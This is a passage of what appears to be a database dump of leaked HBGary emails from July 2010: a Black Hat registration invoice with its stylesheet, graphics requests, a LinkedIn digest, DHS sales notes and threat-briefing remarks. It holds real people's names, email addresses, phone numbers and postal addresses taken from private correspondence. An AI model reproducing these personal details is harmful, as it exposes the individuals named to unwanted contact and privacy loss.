50px;\r\n}\r\ndiv.ip-container div.ip-element textarea#label {\r\n	width: 325px;\r\n}\r\ndiv.ip-container div.ip-element textarea.nowidth {\r\n	width: auto;\r\n	height: auto;\r\n}\r\ndiv.ip-container div.ip-element {\r\n	margin:0px 10px 4px 10px;\r\n	clear: both;\r\n	vertical-align:middle;\r\n}\r\ndiv.ip-container div.ip-element label {\r\n	/*font-weight: bold;*/\r\n}\r\n\r\ndiv.ip-container div.ip-element label.optional {width:150px;}\r\ndiv.ip-container div.ip-element label .requiredSymbolClass {\r\n	color: #ff0000;\r\n}\r\ndiv.ip-container div.ip-element label .notRequiredSymbolClass {\r\n	color: #ffffff;\r\n	opacity: 0;\r\n}\r\ndiv.ip-container div.ip-element label.emptyFieldLabel,\r\ndiv.ip-container div.ip-element label.errorFieldLabel {\r\n	color: #ff0000;\r\n}\r\n\r\ndiv.ip-container div.ip-buttonRow {\r\n	margin-top:40px;\r\n	display:block;\r\n	height:38px;\r\n}\r\n\r\ndiv.ip-container div.ip-containerTitle img.right,\r\ndiv.ip-container div.ip-sectionTitle img.right,\r\ndiv.ip-container div.ip-groupTitle img.right {\r\n	padding-right:5px;\r\n	vertical-align:bottom;\r\n}\r\n\r\ndiv.ip-buttonBar {\r\n	height: 30px;\r\n	padding-top:5px;\r\n}\r\n\r\ndiv.ip-button  {\r\n	float:right;\r\n	margin-right:20px;\r\n	margin-left: 20px;\r\n}\r\n\r\ndiv.ip-button a {\r\n	display: block;\r\n	font-weight: bold;\r\n	font-size: 9pt;\r\n	color: #fff !important;\r\n	background-color: #999999;\r\n	padding:5px 8px 5px 8px;\r\n	cursor:pointer;\r\n	border: 1px solid #cecece;\r\n}\r\n\r\ndiv.ip-button a:hover {\r\n	background-color: #666666;\r\n}\r\n\r\ndiv.ip-button.ip-button-submit a {\r\n	background-color: #669966;\r\n}\r\n\r\ndiv.ip-button.ip-button-submit a:hover {\r\n	background-color: green;\r\n}\r\n\r\ndiv.ip-button.ip-button-cancel a {\r\n	background-color: #cc0000;\r\n}\r\n\r\ndiv.ip-button.ip-button-cancel a:hover {\r\n	background-color: #990000;\r\n}\r\n\r\ndiv.ip-button input {\r\n	display: none;\r\n}\r\n\r\n.ip-filterForm-fieldLabel {\r\n	padding: 3px;\r\n}\r\n.ip-filterForm-fieldLabel img {\r\n	vertical-align: text-bottom;\r\n	padding-right: 10px;\r\n}\r\n.ip-filterForm-fieldValue {\r\n	padding: 2px;\r\n	padding-left: 80px;\r\n}\r\n.ip-filterForm-fieldValue img {\r\n	vertical-align: text-bottom;\r\n	padding-right: 5px;\r\n}\r\n.ip-filterForm-fieldValue select {\r\n	margin-right: 5px;\r\n}\r\n.ip-filterForm-addFieldValue {\r\n	padding: 2px;\r\n	padding-left: 80px;\r\n}\r\n.ip-filterForm-addFieldValue img {\r\n	vertical-align: text-bottom;\r\n	padding-right: 5px;\r\n}\r\n\r\ntable.ip-sortableTable td {\r\n	vertical-align: top;\r\n	padding: 5px;\r\n}\r\n\r\nul.ui-sortable {\r\n	list-style-type: none;\r\n	width: 200px;\r\n	border: solid 1px #dddddd;\r\n	padding: 2px 5px;\r\n}\r\n\r\nul.ui-sortable li {\r\n	border: 1px solid #cccccc;\r\n	padding: 3px;\r\n	margin: 3px 0px;\r\n	cursor: move;\r\n}\r\n\r\nul.ui-sortable li img {\r\n	vertical-align: text-bottom;\r\n	padding-right: 5px;\r\n}\r\n\r\nul.ui-sortable li:hover {\r\n	background-color: #eeeeee;\r\n}\r\n\r\nul.ui-sortable li.empty:hover {\r\n	background-color: #ffffff;\r\n	cursor: default;\r\n}\r\n\r\n.red{\r\ncolor:red;\r\n}\r\n\r\n.green{\r\ncolor:green;\r\n}\r\n\r\n.gray{\r\ncolor:#cccccc;\r\n}\r\n\r\ntable.financialSummary tr.accountRow th {font-weight:normal;font-size:1.2em;color:#333;}\r\n\r\ntable.financialSummary tr.subtotalRow th {padding-bottom:20px;}\r\n\r\ntable.financialSummary tr.chargesHeaderRow th {font-weight:normal;color:#036;}\r\n\r\ntable.financialSummary {padding-left:8px;}\r\n\r\ntable.financialSummary th {\r\n	text-align: left;\r\n	font-weight: bold;\r\n}\r\n\r\n#ui-datepicker-div {\r\n	z-index: 2006;\r\n}\r\n\r\ntable.financialSummary td,\r\ntable.financialSummary th {\r\n	padding: 3px;\r\n}\r\n\r\ntable.financialSummary tr.subtotalRow td,\r\ntable.financialSummary tr.subtotalRow th {\r\n	border-top: 1px solid #cccccc;\r\n}\r\n\r\ntable.financialSummary tr.heaerRow th,\r\ntable.financialSummary tr.headerRow th {\r\n	border-bottom: 1px solid #cccccc;\r\n}\r\n\r\ntable.financialSummary .financialAmount {\r\n	white-space: nowrap;\r\n	text-align: right;\r\n}\r\n\r\ntable.financialSummary .invalidPayment .financialAmount {\r\n	text-decoration: line-through;\r\n}\r\n\r\ntable.financialSummary tr.odd {\r\n	background-color: #eee;\r\n}\r\n\r\ntable.financialSummary tr.even {\r\n	background-color: #fff;\r\n}\r\n\r\ntable.financialSummary td.paymentDescription {\r\n	font-style: italic; \r\n}\r\n\r\n.message {\r\n	padding:10px 10px 10px 35px;\r\n	margin:0 0 5px 0;\r\n}\r\n\r\n.message.warning {\r\n	background:#FFF3A3 url(../famfamfam/error.png) no-repeat scroll 10px 50%;\r\n	border:1px solid #E7BD72;\r\n	color:#B79000;\r\n}\r\n\r\n.message.success {\r\n	background:#CDEFA6 url(../famfamfam/accept.png) no-repeat scroll 10px 50%;\r\n	border:1px solid #9BCC54;\r\n	color:#648434;\r\n}\r\n\r\n.message.error {\r\n	background:#FFD5D5 url(../famfamfam/stop.png) no-repeat scroll 10px 50%;\r\n	border:1px solid #FFACAD;\r\n	color:#CF3738;\r\n}\r\n.message ul li {\r\n	margin-left: 20px;\r\n}\r\n.description {\r\n	margin:0 10px 4px 10px;\r\n}\r\n\r\n#footer a {\r\n	color:#716234;\r\n	text-decoration:underline;\r\n}\r\n\r\n#footer a:hover {\r\n	text-decoration:none;\r\n}\r\n\r\n.ip-elementContent select {\r\n	width: 185px;\r\n	float:none;\r\n}\r\n\r\nspan.Element_Actions img.hand {\r\n	cursor: pointer;\r\n}\r\n\r\n#centeredmenu {\r\n   float:left;\r\n   width:100%;\r\n   background:#fff;\r\n   overflow:hidden;\r\n   position:relative;\r\n}\r\n\r\n#centeredmenu ul {\r\n   clear:left;\r\n   float:left;\r\n   list-style:none;\r\n   margin:0;\r\n   padding:0;\r\n   position:relative;\r\n   left:50%;\r\n   text-align:center;\r\n}\r\n#centeredmenu ul li {\r\n   display:block;\r\n   float:left;\r\n   list-style:none;\r\n   margin:0;\r\n   padding:0;\r\n   position:relative;\r\n   right:50%;\r\n}\r\n\r\nul#progress  {\r\n	margin: 20px 20px 0px 20px;\r\n	font-size:8pt;\r\n}\r\n\r\nul#progress li {\r\n	float:left;\r\n	margin-right:20px;\r\n	padding:5px;\r\n	list-style-type:none;\r\n}\r\n\r\nul#progress li.currentStep span {\r\n	border:1px solid #999; \r\n}\r\n\r\nul#progress span {\r\n	color:#036;\r\n}\r\n\r\nul#progress a:hover {\r\n	color:#666;\r\n	text-decoration:underline;\r\n}\r\n\r\nul#progress li span {\r\n	float:left;\r\n	padding: 6px 6px 6px 20px;\r\n	list-style-type:none;\r\n}\r\n\r\nul#progress li {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px 7px;\r\n	border:none;\r\n}\r\n\r\nul#progress li#step2 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -27px;\r\n}\r\n\r\nul#progress li#step3 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -60px;\r\n}\r\n\r\nul#progress li#step4 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -95px;\r\n}\r\n\r\nul#progress li#step5 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -128px;\r\n}\r\n\r\nul#progress li#step6 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -161px;\r\n}\r\n\r\nul#progress li#step7 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -197px;\r\n}\r\n\r\nul#progress li#step8 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -228px;\r\n}\r\n\r\nul#progress li#step9 {\r\n	background:url(../images/stepNumber.gif) no-repeat 6px -262px;\r\n}\r\n\r\n\r\nspan.ip-elementContent, span.ip-elementContent input {\r\n	float:left;\r\n	/* IE8 Specific float hack. -EHM */\r\n	float/*\\**/: none\\9;\r\n	/* white-space:nowrap; -EHM 7/17/09, UBM-1207 */\r\n	overflow:visible;\r\n}\r\n\r\nspan.ip-elementContent p.hint {\r\n	margin-bottom:0;\r\n}\r\n\r\n\r\n#ElementTypes > ul {\r\n	list-style-type:none;\r\n}\r\n\r\n#ElementTypes ul li {\r\npadding:1px 0;\r\ncursor: hand;\r\ncursor: pointer;\r\n}\r\n#ElementTypes ul ul li {\r\n padding:1px 8px;\r\n cursor: hand;\r\n cursor: pointer;\r\n}\r\n\r\n#ElementTypes img {\r\npadding-right:2px;\r\nvertical-align:bottom;\r\ncursor: hand;\r\n cursor: pointer;\r\n}\r\n#ElementTypes ul ul {\r\nlist-style-type:none;\r\ndisplay:none;\r\nmargin:0 8px;\r\npadding:0;\r\n}\r\n\r\n/* styles for housing block report table and its ilk */\r\ntable.ip-summaryTable th {\r\n \r\n color:white;\r\n color:#333333;\r\n background-color:#dddddd;\r\n padding:4px;\r\n text-align:center;\r\n}\r\n\r\n/* styles for housing block report table and its ilk */\r\ntable.ip-summaryTable tr.ip-summaryTable-subHeading  {\r\n \r\n color:#333333;\r\n background-color:#e6e6e6;\r\n text-align:center;\r\n}\r\n\r\n/* styles for housing block report table and its ilk */\r\ntable.ip-summaryTable tr.ip-summaryTable-subHeading td { \r\n padding:4px;\r\n border-bottom-style:solid;\r\n border-bottom-color:#c0c0c0;\r\n border-bottom-width:1px;\r\n border-top-style:solid;\r\n border-top-color:#c0c0c0;\r\n border-top-width:1px;\r\n}\r\n\r\ntable.ip-summaryTable tr.ip-summaryTable-subHeading td.ip-leftMargin {\r\n	border-left-style:solid;\r\n	border-left-width: 1px;\r\n	border-left-color: #c0c0c0;\r\n }\r\n \r\n table.ip-summaryTable  th.ip-leftMargin {\r\n	border-left-style:solid;\r\n	border-left-width: 1px;\r\n	border-left-color: #c0c0c0;\r\n }\r\n \r\ntable.ip-summaryTable  td.ip-summaryDataCellLeftMargin {\r\n	border-left-style:solid;\r\n	border-left-width: 1px;\r\n	border-left-color: #c0c0c0;\r\n	text-align:center;\r\n }\r\n \r\n\r\n\r\ntable.ip-summaryTable td.ip-summaryDataCell  {\r\n text-align:center;\r\n}\r\n\r\n/* Used to handle overview for really wide tables */\r\ndiv.ip-rowSelector {\r\n margin:4px;\r\n width:400px;\r\n float:left;\r\n padding:2px;\r\n}\r\n\r\ndiv.ip-rowSelectorLeft {\r\n width:175px;\r\n float:left;\r\n margin:4px;\r\n}\r\n\r\ndiv.ip-rowSelectorRight {\r\nwidth:175px;\r\n float:right;\r\n margin:4px;\r\n}\r\n\r\n\r\ntable.ip-summaryTable .ip-table-evenRow{\r\n background-color: #f8f8f8; \r\n}\r\n\r\ntable.ip-summaryTable tr:hover{\r\n	background-color: #cfe9ff;\r\n	color: #000000;\r\n	}\r\n\r\n\r\n/* alternating hotels have slightly darker colors   */\r\ntable.ip-summaryTable  .ip-table-oddRow.ip-oddBlock {\r\n	background-color: #f5f5f5; \r\n}\r\n\r\ntable.ip-summaryTable  .ip-table-evenRow.ip-oddBlock {\r\n	background-color:#fbfbfb;\r\n	\r\n}\r\n\r\ntable.ip-summaryTable  tr.ip-table-evenRow.ip-oddBlock:hover{\r\n	background-color: #cfe9ff;\r\n	color: #000000;	\r\n}\r\n\r\ntable.ip-summaryTable  tr.ip-table-oddRow.ip-oddBlock:hover {\r\nbackground-color: #cfe9ff;\r\n	color: #000000;	\r\n}\r\n\r\n\r\n/* table.ip-summaryTable .ip-table-blockBreak {\r\n  background-color:#e0e0e0;\r\n\r\n}\r\n*/\r\n\r\ntable.ip-summaryTable .ip-table-blockBreak td{\r\n  border-top-width:1px;\r\n  border-top-color:#c0c0c0;\r\n  border-top-style: solid;\r\n}\r\n\r\n\r\ntable.ip-summaryTable {\r\n border-style:solid;\r\n border-width:1px;\r\n border-color:#333333;\r\n clear:left;\r\n border-collapse: collapse;\r\n}\r\n\r\n\r\n.ip-summaryTableTitle {\r\nfont-weight:bold;\r\nfont-size:bigger;\r\n}\r\ndiv.ip-summaryTableButtonWrapper {\r\nfloat:left;\r\nclear:both;\r\nmargin-left:4px;\r\n}\r\n\r\n/** used to add scroll bars for IE */\r\ndiv.ip-summaryTableWrapper {\r\n width:95%;\r\n overflow:auto;\r\n}\r\n\r\n\r\n/*   End styles for housing summary table   */\r\n\r\n\r\n/* div styling for the Package Description */\r\ndiv.packageDescription {\r\n  padding-right: 15px;\r\n  padding-left: 15px;\r\n  padding-bottom: 5px;\r\n  padding-top: 5px;\r\n  text-align: left;\r\n}\r\n\r\n/* styles for revenue summary rows */\r\n#reportTable_Revenue_Summary span.sectionHeading {\r\n	font-weight:bold;\r\n	text-decoration:underline;\r\n}\r\n\r\n/* Multiple Registration UL styling */\r\n#MultipleRegList {\r\n	float:left;\r\n	width:100%;\r\n	background:#fff;\r\n	overflow:hidden;\r\n	position:relative;\r\n	text-align: center;\r\n}\r\n\r\n#MultipleRegList .ip-sectionTitle {\r\n	font-weight: bold;\r\n}\r\n#MultipleRegList ul {\r\n   clear:left;\r\n   float:left;\r\n   padding:0;\r\n   position:relative;\r\n   left:50%;\r\n   text-align:center;\r\n   list-style-type: square;\r\n}\r\n#MultipleRegList ul li {\r\n   float:left;\r\n   margin:2px;\r\n   padding:0;\r\n   position:relative;\r\n   right:50%;\r\n   padding-right: 20px;\r\n}	\r\n\r\n/* default left margins for UL and OL elements */\r\n#index_registrations_profile ul, ol,  \r\n#index_registrations_housing ul, ol,  \r\n#index_registrations_review ul, ol,  \r\n#index_registrations_payment ul, ol  \r\n{\r\n	list-style-position: inside;	\r\n}\r\n\r\n/* IE7 Specific float and width hack for admin/setup pages. -EHM */\r\n+html span.ip-elementContent, span.ip-elementContent input {\r\n	float: none;\r\n	width: 185px;\r\n}\r\n\r\n/* Clear out the VAT checkbox .clearfix for IE7 */\r\n*:first-child+html #admin.config_packages_edit div.ip-container span.ip-elementContent .clearfix {\r\n	display:inline-block !important;\r\n	padding-left: 0px !important;\r\n	padding-bottom: 0px !important;\r\n	position: static !important;\r\n}\r\n\r\n\r\n/* IE7 Hacks for public display forms */\r\n\r\n*:first-child+html #public.index_registrations_profile .IE7_Radio, \r\n*:first-child+html #public.index_registrations_demographics .IE7_Radio, \r\n*:first-child+html #public.index_registrations_housing .IE7_Radio,\r\n*:first-child+html #public.index_registrations_review .IE7_Radio,\r\n*:first-child+html #public.index_registrations_payment .IE7_Radio\r\n{\r\n	width: 50px !important;\r\n} \r\n\r\n*:first-child+html #public.index_registrations_profile SPAN.ip-elementContent input[type=\"checkbox\"],\r\n*:first-child+html #public.index_registrations_demographics SPAN.ip-elementContent input[type=\"checkbox\"]\r\n{\r\n	width: 50px !important;\r\n}\r\n\r\n*:first-child+html #public input.ip-formText, *+html input.ip-formPassword, *+html div.ip-element textarea  {\r\n	margin-left: -10px;\r\n}\r\n\r\n/* specific ip-elementContent float for certain public pages. */\r\n#public.index_registrations_profile span.ip-elementContent, \r\n#public.index_registrations_housing span.ip-elementContent \r\n{\r\n	float:left;\r\n	overflow:visible;\r\n}\r\n\r\n#public div.ip-element > label.ip-elementLabel {\r\n	width:200px;\r\n}\r\n#public span.ip-elementContent {\r\n	float: left;\r\n}\r\n#public.index_registrations_review span.ip-elementContent, \r\n#public.index_registrations_review span.ip-elementContent input\r\n{\r\n	float: none;\r\n	overflow:visible;\r\n}\r\n\r\n.ip-element .sponsorshipPackageOpportunities ul {\r\n	padding-left: 15px;\r\n}\r\n\r\n.ip-workshopTable th {\r\n	font-weight: bold;\r\n	text-align: left;\r\n	font-size: 10pt;\r\n}\r\n\r\n.ip-workshopTable .ip-workshopTitle {\r\n	font-weight: bold;\r\n}\r\n\r\n/* Public Reports */\r\n#public table.reportTable th, #public table.reportTable td {\r\n	border-left:1px solid #cdcdcd;\r\n	padding:3px;\r\n	vertical-align: top;\r\n}\r\n\r\n#public table.reportTable .firstCell, #public table.reportTable .lastCell {\r\n	border-left: none;\r\n}\r\n\r\n#public table.reportTable {\r\n	border: 1px solid #888888;\r\n}\r\n\r\n#public table.reportTable .subHeader td {\r\n	background-color:#E0E8F1;\r\n	border-bottom:1px solid #DEDEDE;\r\n	border-top:1px dashed #DEDEDE;\r\n	font-weight:bold;\r\n}\r\n#public .reportHeader th {\r\n	font-weight: normal;\r\n	background-color: #dddddd;\r\n	color: #333;\r\n	border-bottom:1px solid #888888;\r\n	text-align:left;\r\n	white-space:nowrap;\r\n}\r\n\r\n#public table tr.odd {\r\n	background-color: #efefef; \r\n}\r\n\r\n#public table tr.even {\r\n	background-color: #fff;\r\n}\r\n\r\n#public .reportBody.solidTop td {\r\n	border-top: 1px solid #888888;\r\n}\r\n\r\n#public table .odd_hover,\r\n#public table .odd_hover a,\r\n#public table .odd_hover a:link,\r\n#public table .odd_hover a:hover,\r\n#public table .odd_hover a:active,\r\n#public table .odd_hover a:visited,\r\n#public table .even_hover,\r\n#public table .even_hover a,\r\n#public table .even_hover a:link,\r\n#public table .even_hover a:hover,\r\n#public table .even_hover a:active,\r\n#public table .even_hover a:visited {\r\n	background-color: #cfe9ff;\r\n	color: #000000;\r\n}\r\n\r\n.privacyText {\r\n	color: #999999;\r\n}\r\n\r\n\r\nbody {\r\n	background-color: white;\r\n	color: black;\r\n}\r\n\r\n&nbsp;\r\nInvoice-Receipt for BLACK HAT USA 2010\r\n&nbsp;\r\nBlack Hat Exhibition Hall: July 28-29\r\n&nbsp;\r\nConfirmed 632731\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nAaron Barr\r\nAaron@hbgary.com\r\n(702) 324-7065\r\n3604 FAir Oaks Blvd.\r\nSuite 250\r\nSacramento California&nbsp; 95864\r\nUnited States of America\r\n&nbsp;\r\nCompany Name: HBGary Federal\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\n&nbsp;\r\nQuestions? Email bh-reg@blackhat.com or call +1 206 443 5489\r\n&nbsp;\r\nMs. Toni Margolis\r\nBlack Hat -TechWeb -UBM LLC\r\nRegistration Manager\r\n1932 1st Ave, #204\r\nSeattle, WA. &nbsp;98101\r\n&nbsp;\r\n',14064,'aaron_hbgary_com/14064.html'),(8565,'2010-07-14','\"John Verducci\" <john@studioem.com>','/aaron@hbgary.com/new/1297006611.M366177P14101Q3420.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: 3 graphic requests to follow','Thanks Penny.\r\n\r\nAaron - let me know what you need on these.\r\n\r\nThanks\r\n\r\nJohn\r\n\r\n\r\n\r\nOn Jul 14, 2010, at 3:56 PM, Penny Leavy-Hoglund wrote:\r\n\r\n> Aaron, you\'ll have to explain to John what you want, what you sent  \r\n> doesn\'t\r\n> make sense to me\r\n>\r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com]\r\n> Sent: Wednesday, July 14, 2010 9:20 AM\r\n> To: Penny Leavy\r\n> Subject: 3 graphic requests to follow\r\n>\r\n> First one is the top image for the datasheet.  You can download the  \r\n> icons at\r\n> http://icons.mysitemyway.com/category/black-ink-grunge-stamps-textures-icons\r\n> /\r\n> I would like the HBGary logo to stand out but fit in the grunge  \r\n> style.  2\r\n> more requests to follow.\r\n>\r\n> I would use the following ones:\r\n> blogger\r\n> digg\r\n> facebook\r\n> flickr\r\n> google\r\n> hi5\r\n> linkedin\r\n> myspace\r\n> orkut\r\n> reddit\r\n> skype\r\n> technorati\r\n> twitter\r\n> wordpress\r\n> yahoo\r\n> youtube\r\n> yelp\r\n>\r\n> \r\n\r\n\r\n______________________\r\n\r\nJohn Verducci\r\nStudio Em Graphic Design\r\n\r\n974 Yorkshire Drive\r\nLos Altos, California 94024\r\n\r\n650.962.9200 Direct\r\n650.961.8801 Fax\r\n\r\n\r\n\r\n\r\n',8845,'aaron_hbgary_com/8845.html'),(8566,'2010-07-15','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1297006611.M722774P14101Q3421.eml','\"Rich Cummings\" <rich@hbgary.com>,\"Michael G. Spohn\" <mike@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','You are registered for Black Hat','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHI Guys,\r\n\r\n&nbsp;\r\n\r\nYou all have been registered at Black Hat.&nbsp; You should have\r\nreceived your confirmation already.&nbsp; Please contact me if you have not.\r\n\r\n&nbsp;\r\n\r\nThanks\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4727 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13059,'aaron_hbgary_com/13059.html'),(8567,'2010-07-15','\"LinkedIn Updates\" <updates@linkedin.com>','/aaron@hbgary.com/new/1297006612.M286916P14101Q3423.eml','\"Aaron Barr\" <aaron@hbgary.com>','LinkedIn Network Updates, 7/14/2010','\r\n\r\n  \r\n\r\n  \r\n    \r\n      \r\n        \r\n          LinkedIn\r\n    \r\n      Network Updates, Jul 7 - Jul 14\r\n    \r\n          \r\n          \r\n        \r\n      \r\n    \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        PROFILE\r\n  \r\n    \r\n    \r\n      View all Network Updates\r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n      Brandon Colston\r\n                   has an updated profile (Specialties, Expertise, Experience)\r\n            \r\n            \r\n\r\n\r\n\r\n      David Etue\r\n                   has an updated profile (Experience)\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        CONNECTIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n  Robert Giesler\r\nis now connected to\r\n            Jeff Hoing\r\n,             Ken Lamkin\r\n             and \r\n            Dick Giesler\r\n             \r\n            \r\n            \r\n\r\n  Dr. Paul Nemirovsky\r\nis now connected to\r\n            Mario Shaffer\r\n,             Rico Young\r\n,             Bill Lese\r\n,       and 1 other person.\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        POSTS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nIrving Lachow\r\nGave 30 min talk on cyber terrorism 4 times in a row this afternoon.  Not the best way to do it, but overall response was positive.      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nJeff McCartney\r\nSolving the worlds problems one program at a time :)      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n            \r\n\r\n\r\n\r\n\r\n\r\n\r\nangela fugate\r\nChallenger Homes COLA program(commission on loan approval)  We pay half of the commission on loan approval!!!!!!!!  The other half at closing!!!!!!  Come out and see me at Lorson ranch for details!      \r\n      Comment \r\n      \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n             \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        GROUPS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n    Michelle Magnetti has joined\r\n    Cool (free) tools for recruiting\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        RECOMMENDATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n\r\n    David Etue recommends\r\nbusiness partner      Kevin S. Mullenex\r\n          VP of Corporate Development and OEM Sales at Cyveillance, Inc\r\n        Kevin is a great business partner, and has the experience and skills to understand both the technolo...\r\n        Read more\r\n\r\n            \r\n            \r\n\r\n\r\n      David Etue was recommended by\r\nbusiness partner      Kevin S. Mullenex\r\n        I have had the great opportunity to work with David Etue for the past 2 years. David has an excellen...\r\n        Read more\r\n\r\n            \r\n  \r\n  \r\n\r\n\r\n\r\n\r\n  \r\n    \r\n        APPLICATIONS\r\n  \r\n    \r\n\r\n\r\n  \r\n  \r\n            \r\n\r\n                  \r\n                          Rodrigo Antao\r\n                  \r\n                     is now using the LinkedIn Outlook Toolbar. \r\n                  \r\n                          Learn more &raquo;\r\n                   \r\n                        \r\n  \r\n  \r\n    \r\n    \r\n      &nbsp;&nbsp;&nbsp;View all Network Updates&nbsp;&nbsp;&nbsp;\r\n    \r\n  \r\n\r\nDon\'t want to receive email notifications? Adjust your message settings. LinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission.\r\n&copy; 2010, LinkedIn Corporation\r\n  \r\n',3166,'aaron_hbgary_com/3166.html'),(8568,'2010-07-15','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1297006612.M45949P14101Q3422.eml','\"Barr Aaron\" <aaron@hbgary.com>','TMC Slave','Got it installed and setup.  Tomorrow we can test it against the server and drop the malware in.Ted\r\n\r\n',4298,'aaron_hbgary_com/4298.html'),(8569,'2010-07-15','\"Maria Lucas\" <maria@hbgary.com>','/aaron@hbgary.com/new/1297006612.M546695P14101Q3424.eml','\"Aaron Barr\" <aaron@hbgary.com>','DHS contact','Hi AaronBelow are my notes..... Chris Howell attended Greg&#39;s presentation to DHS and he reports up to SCO Jerry Williams.  I read my notes and realized that Jerry WIlliams would be responsible for security training -- look below\r\nIf you aren&#39;t already speaking to DHS then I can ask Chris Howell who manages the training and try to get you in there?  Can you also run it by Penny that I would get commission working with you.... I think it should be based on gross margin or revenues not on per person it is different than product training...\r\nI can also approach Brian Christos and ask who we can approach there?Let me knowMariaBased on Greg&#39;s presentation to DHS Office of Science &amp; Technology the CSO office will purchase (4) responder pro for their lab. This lab is under Jerry Williams and he is Chief Security Officer for all DHS. \r\nHe also said that Alma Cole is responsible for a pilot and that Alma would have to go to Bob West for approval for deployment if it went into production. Chief Security Officer Jerry Williams Jerry Williams was appointed as the Chief Security Officer (CSO) for the Department of Homeland Security (DHS) on July 31, 2007. He was first assigned to DHS as the Deputy CSO in 2005. \r\nMr. Williams directs policy and oversight related to security activities for the 32 Components and over 208,000 employees that comprise DHS. He develops policy and procedures in the following major areas: Personnel Security; Special Security Programs; Administrative Security; Physical Security; Counterintelligence &amp; Investigations; Operations Security; and Security Training and Awareness. As CSO, he also supports the Chief Information Officer in the area of security policy related to the IT environment. \r\nMr. Williams is responsible for investigating all counterintelligence incidents and anomalies, in coordination with the component Intelligence/Security organizations, as necessary. He ensures that the Office of Security maintains and operates capabilities for detecting anomalies and for investigative follow up in conjunction with appropriate law enforcement and counterintelligence agencies. He also takes all appropriate actions to recruit, train, and manage a cadre of skilled counterintelligence personnel.\r\n-- Maria Lucas, CISSP | Regional Sales Director | HBGary, Inc.Cell Phone 805-890-0401  Office Phone 301-652-8885 x108 Fax: 240-396-5971email: maria@hbgary.com \r\n  \r\n\r\n',6322,'aaron_hbgary_com/6322.html'),(8570,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006613.M229085P14101Q3426.eml','\"Greg Hoglund\" <greg@hbgary.com>','Re: can you add to this slide?','Not exactly sure how to add this on to your slide or if you want to add it but for state sponsored threats you have to think in context of the larger  objectives.  So state sponsored threats are not interested in owning bots, or PII/credit card information.  They are interested in IP, interested in access and controls.  IP ranges from corporate technology to ship movements, government programs, supplies, etc.\r\n\r\nSo any malware effort is going to have a military person that is managing the effort, or providing the military/government requirements for the effort.  The effort fits within an overall military/government campaign to meet particular objectives.  And there will be other feeders to this.  For example, the Chinese, they have their intel services, their version of the state department, NSA, etc.  Each of those organizations have certain capabilities and provide certain information.  That is likely used in conjunction with cyber based efforts.\r\n\r\nSorry a little fuzzy right now.  I think I need to take a fresh look in the morning.  But at a minimum I would say their are some military/government folks missing on the chart and some words that describe how the cyber data fits into larger objectives.\r\n\r\nAaron\r\n\r\nOn Jul 14, 2010, at 3:09 PM, Greg Hoglund wrote:\r\n\r\n> slide 3 - the state sponsored one, any terminology of known archetypes you can add?\r\n>  \r\n> -Greg\r\n> \r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',13789,'aaron_hbgary_com/13789.html'),(8571,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006613.M4825P14101Q3425.eml','\"John Edwards\" <John.Edwards@agilex.com>','Meeting - Finally','Hi John,\r\n\r\nI have been meeting with some folks lately and your name keeps coming up, so probably a from my side definitely worth getting together and chatting a bit.  Most of it lately has been around your Apple capabilities and a few developers you have.  Probably some larger things that would be worth discussing.\r\n\r\nLet me know when you have some time.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',508,'aaron_hbgary_com/508.html'),(8572,'2010-07-15','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297006613.M518435P14101Q3427.eml','\"Ted Vera\" 